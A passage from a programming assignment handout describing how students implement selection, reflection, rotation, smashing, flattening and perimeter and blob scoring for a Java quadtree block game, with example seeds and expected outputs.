GameColors.java) and a stroke thickness equal to 3. Note that a stroke thickness equal to 0 indicates that the block should be filled with its color. The order in which the objects BlockToDraw appear in the list does not matter. After having implemented this method, you can try to run BlockGame. If you use the seed 2 when initializing the Random variable gen on line 17 of Block.java and you select 2 as the maximum depth when running the game, you will see the following board displayed:As you might have noticed, this is the same Block from Figure 1. PART – II: Make the game playable (30 points) Time to make the game real by allowing players to be able to select a block from the board and apply a move of their choice. Input validation: if the level provided is smaller than this Block’s level or larger than its maximum depth, then the method should throw an IllegalArgumentException. If the position, (x,y), is not within this Block, then the method should return null. For example, using the seed 4 when initializing the Random variable gen on line 17 of Block.java, the following snippet of code generates a board with maximum depth 3, top left corner in position (0,0), and size equal to 16. Block blockDepth3 = new Block(0,3); blockDepth3.updateSizeAndPosition(16, 0, 0); We can then select and print the Block at level 1 containing the location (2,15) as follows: Code to execute Text displayed Block b1 = blockDepth3.getSelectedBlock(2, 15, 1); b1.printBlock(); RED, pos=(0,8), size=8, level=1 Code to execute Text displayed Block b1 = blockDepth3.getSelectedBlock(3, 5, 2); b1.printBlock(); pos=(0,4), size=4, level=2 aaYELLOW, pos=(2,4), size=2, level=3 aaGREEN, pos=(0,4), size=2, level=3 aaYELLOW, pos=(0,6), size=2, level=3 aaBLUE, pos=(2,6), size=2, level=3 [6 points] Implement the method reflect(). The method takes an int as input representing whether this Block should be reflected over the x-axis (if the input is 0) or the y-axis (if the input is 1). When thinking about performing a reflection of this Block, you can think of the origin of the axes being placed in the center of this Block. To successfully perform a reflection, the same operation should be propagated to all the sub-blocks of this Block. Make sure that the method correctly updates all the necessary fields. The method throws an IllegalArgumentException if the integer received as input is neither a 0 nor a 1. For example, using the seed 4 when initializing the Random variable gen on line 17 of Block.java, let’s generate a board with maximum depth 3. In Figure 2, you can see the effect of a reflection over the x-axis of either the top-level block or the level 1 block on the top-left corner.Figure 2: Left: Original board. Center: Board after reflection (x-axis) on toplevel block. Right: Board after reflection (x-axis) on the level 1 top-left block. [6 points] Implement the method rotate(). The method takes an int as input representing whether this Block should be rotated counter-clockwise (if the input is 0) or clockwise (if the input is 1). The operation should be propagated to all of its sub-blocks. If this Block has no children, then the method should not do anything. Make sure that the method correctly updates all the necessary fields. You can throw an IllegalArgumentException if the integer received as input is neither a 0 nor a 1. For example, using the seed 4 when initializing the Random variable gen on line 17 of Block.java, let’s generate a board with maximum depth 3. In Figure 3, you can see the effect of a clockwise rotation of either the top-level block or the level 1 block on the top-left corner.Figure 3: Left: Original board. Center: Board after a clockwise rotation of the top-level block. Right: Board after a clockwise rotation of the level 1 top-left block. [6 points] Implement the method smash(). This method takes no inputs and, if this Block can be smashed, it randomly generates four new sub-blocks for it. If the Block already had children, they will be discarded. Make sure that the method correctly updates all the necessary fields. Remember that a Block can be smashed if and only if it is not the top-level Block and it is not already at a level equal to the maximum depth. The method returns True if this Block was smashed and False otherwise. For example, using the seed 4 when initializing the Random variable gen on line 17 of Block.java, let’s generate a board with maximum depth 3. In Figure 4, you can see the effect of smashing the level 1 block on the top-left corner or the effect of smashing the level 2 block on the top-left corner.Figure 4: Left: Original board. Center: Board after smashing the level 1 top-left block. Right: Board after smashing the level 2 top-left block. PART – III: Implementing scoring (40 points) Now that player can play the game, let’s get our scoring system working. The unit we use when scoring against a goal is a unit cell. The size of a unit cell depends on the maximum depth in the Block. For example, with maximum depth of 4, we might get this board (which you can obtain using the seed 123 for the Random field in Block.java):If you count down through the levels, you’ll see that the smallest blocks are at level 4. Those blocks are unit cells. It would be possible to generate that same board even if maximum depth were 5. In that case, the unit cells would be one size smaller, even though no Block has been divided to that level. For example, suppose the maximum depth were 4, the target color were green, and the board were as displayed above. Then the score for the perimeter goal would be 24 while the score for the blob goal would be 65. Notice that, for instance, the large block on the top-right corner is not divided into 64 unit cells, but we still score as if it were. That is, that block counts for 16 of the points in the perimeter goal score (remember that corner unit cells count double!), while it counts for 64 of the points in the blob goal score. Now that you understand these details about scoring, you can go ahead and implement the last few methods of the assignment. [15 points] It is very difficult to compute a score for a perimeter goal or a blob goal by walking through the tree structure. (Think about that!) The goals are much more easily assessed by walking through a two-dimensional representation of the game board. To make this possible, implement the method flatten() from the Block class. This method takes no input and returns a two-dimensional array arr of Colors representing this Block as rows and columns of unit cells. Note that arr[i] represents the unit cells in row i, and arr[i][j] is the color of the unit cell is row i and column j. So, for instance, arr[0][0] is the color of the unit cell in the upper left corner of this Block. Once flatten() is implemented, you can use the method printColoredBlock() provided to you to display a colored text representation of the flattened block. For example, if you generate a Block with level 0 and maximum depth 2 when the seed of the random generator is set to 2 (i.e. the same block from Figure 1), then calling printColoredBlock() will display the following:[5 points] Open the file PerimeterGoal.java and implement the method score(). This method takes as input a Block representing a board and returns the score of this goal on that board based on its target color. You can start by flattening the Block to make your job easier. Now, let’s move into implementing scoring for the other goal. Scoring with a blob goal involves flattening the tree, iterating through the cells in the flattened tree, and finding out, for each cell, what size of blob it is part of (if it is part of a blob of the target color). The score is the biggest of these. But how do we find out the size of the blob that a cell is part of? Let’s start by implementing a helper method that allows you to do exactly this. [14 points] Implement the method undiscoveredBlobSize() from the class BlobGoal. The method takes as input two integers i and j, a 2D array of Colors representing unit cells, and a 2D array of booleans. It returns the size of the blob of the target color of which the unit cell in position (i, j) is part of. If this unit cell it’s not the target color, then it is not in a blob of the target color, so the method returns 0. If it is of the target color, then it is in a blob of the target color. It might be a very small blob consisting of itself only, or a bigger one. The method should find out the of blob the neighbours cells are in, and use this information to figure out the blob size of the current cell (sounds recursive, right?). Be careful, a potential problem with this is that when the method computes the blob size of the neighbour cells, we do not want the current one to be counted in, otherwise this cell will end up being double counted (or worse). To avoid such issues, we need to keep track of which cells have already been “visited” by the algorithm. This is what the array of booleans is for! So, to be more precise, the method returns the number of unit cells of the target color that are orthogonally connect to the the unit cell in position (i, j) and have not been visited yet (i.e. their corresponding boolean value is false). This number should include the unit cell in position (i, j). If this cell is not of the target color, or it has already been visited, then the method returns 0. You can assume that the two input arrays have exactly the same size. [6 points] Finally, implement the method score() from the class BlobGoal. This method takes as input a Block representing a board and returns the score of this goal on that board based on its target color. Conclusions Congratulations for having completed the third and last assignment of this semester. Take pride in your gorgeous code and enjoy the game! If you had fun coding this assignment and you are left wanting more, note that you can expand and create many variations of the game. You could for instance add different types of goals, or implement computer players and challenge yourself while playing against an AI. The possibilities are endless, let your imagination run wild! 🙂
